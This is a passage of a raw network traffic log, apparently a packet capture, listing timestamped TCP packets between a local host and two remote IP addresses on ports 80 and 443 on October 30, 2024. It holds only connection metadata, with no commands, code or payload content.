Oct 30, 2024 15:59:08.249047041 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.249070883 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.249087095 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.249094963 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.252721071 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.252738953 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.252834082 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.252983093 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.252995014 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.253861904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.253932953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.253937006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.253942966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.253956079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254002094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.254029989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254034996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254091978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.254511118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254515886 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254587889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.254633904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254694939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.254733086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254743099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.254801035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.255062103 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.255075932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.255080938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.255130053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.256258965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.256767988 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.257004976 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.257066965 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.257111073 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.257118940 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.257133961 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.257138968 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.259983063 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.260014057 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.260077000 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.260220051 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.260231018 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.264553070 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.264914989 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.264971018 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.265794039 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.265805960 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.265810966 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.265815020 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.270759106 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.270787001 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.270890951 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.272032022 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.272046089 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.294094086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294109106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294120073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294202089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294204950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.294264078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294264078 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.294270039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294327021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.294373989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294379950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294394016 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.294444084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.295232058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.295281887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.295305967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.295371056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.334897995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.334937096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.334990025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.335036039 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371124029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371176958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371182919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371201038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371253967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371293068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371299982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371316910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371368885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371531963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371558905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371584892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371633053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371675014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371716976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371722937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.371730089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.371764898 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.410960913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.410984993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.410995960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411036015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411037922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411083937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411112070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411176920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411251068 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411293030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411345959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411361933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411416054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411456108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411462069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411468983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411494017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.411510944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.411550999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.412173033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.412195921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.412255049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.412369013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.412439108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.487755060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.487773895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.487811089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.487854004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.487859964 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.487899065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.487926960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488023043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488095045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488095045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488118887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488126993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488148928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488168955 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488594055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488635063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488641977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488646984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488673925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488675117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.488692045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.488718987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.502033949 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.502744913 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.502754927 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.503388882 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.503395081 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.527864933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.527870893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.527918100 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.527980089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.527985096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.527995110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528023005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.528028965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528049946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.528069019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.528567076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528600931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528615952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528672934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.528740883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528745890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528759003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.528793097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.528806925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.529512882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.529587030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.529596090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.529599905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.529632092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.529640913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.529680967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.604846954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.604854107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.604890108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.604924917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.604955912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.604957104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.604962111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605010033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.605061054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605071068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605078936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605113983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.605845928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605884075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605889082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.605905056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.605943918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.634404898 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.634748936 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.634840012 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.634906054 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.634917021 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.634927034 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.634932041 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.638425112 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.638464928 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.638556957 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.638766050 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.638777971 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.646044016 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646063089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646075010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646137953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.646174908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646182060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646231890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.646393061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646450996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646456957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646457911 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.646498919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.646527052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646533012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646538973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.646575928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.646589994 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.647301912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.647320986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.647384882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.647459030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.647521019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.647525072 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.647532940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.647562981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.647576094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.647605896 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.722101927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722119093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722126007 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722212076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.722233057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722240925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722292900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.722374916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722424984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.722434998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722441912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722486019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.722573042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722580910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.722606897 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.722630978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763056993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763075113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763081074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763139963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763169050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763175964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763181925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763215065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763345957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763351917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763360023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763396025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763410091 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763670921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763699055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763717890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763746023 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763748884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763755083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763797045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.763823032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.763864040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.764358044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.764403105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.764409065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.764415979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.764453888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.764456987 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.764499903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.764512062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.764631033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.839144945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839179039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839185953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839288950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839293957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.839296103 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839356899 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.839375019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839407921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839413881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839425087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.839466095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.839495897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839500904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.839550018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.880376101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880383015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880398035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880490065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880495071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880506992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880522966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.880531073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880593061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.880809069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880860090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880860090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.880865097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880918980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.880980968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880986929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.880997896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.881010056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.881040096 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.881067991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.881762028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.881812096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.881824017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.881875992 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.922971010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.922997952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.923114061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.923142910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.956063032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956151962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956159115 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956181049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.956201077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956206083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956206083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.956254005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.956357002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956362963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956398964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956398964 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.956404924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956410885 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.956449986 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.972897053 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.973675013 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.973683119 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.974186897 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.974190950 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.987934113 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.988555908 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.988570929 CET	443	49724	13.107.246.45	192.168.2.6
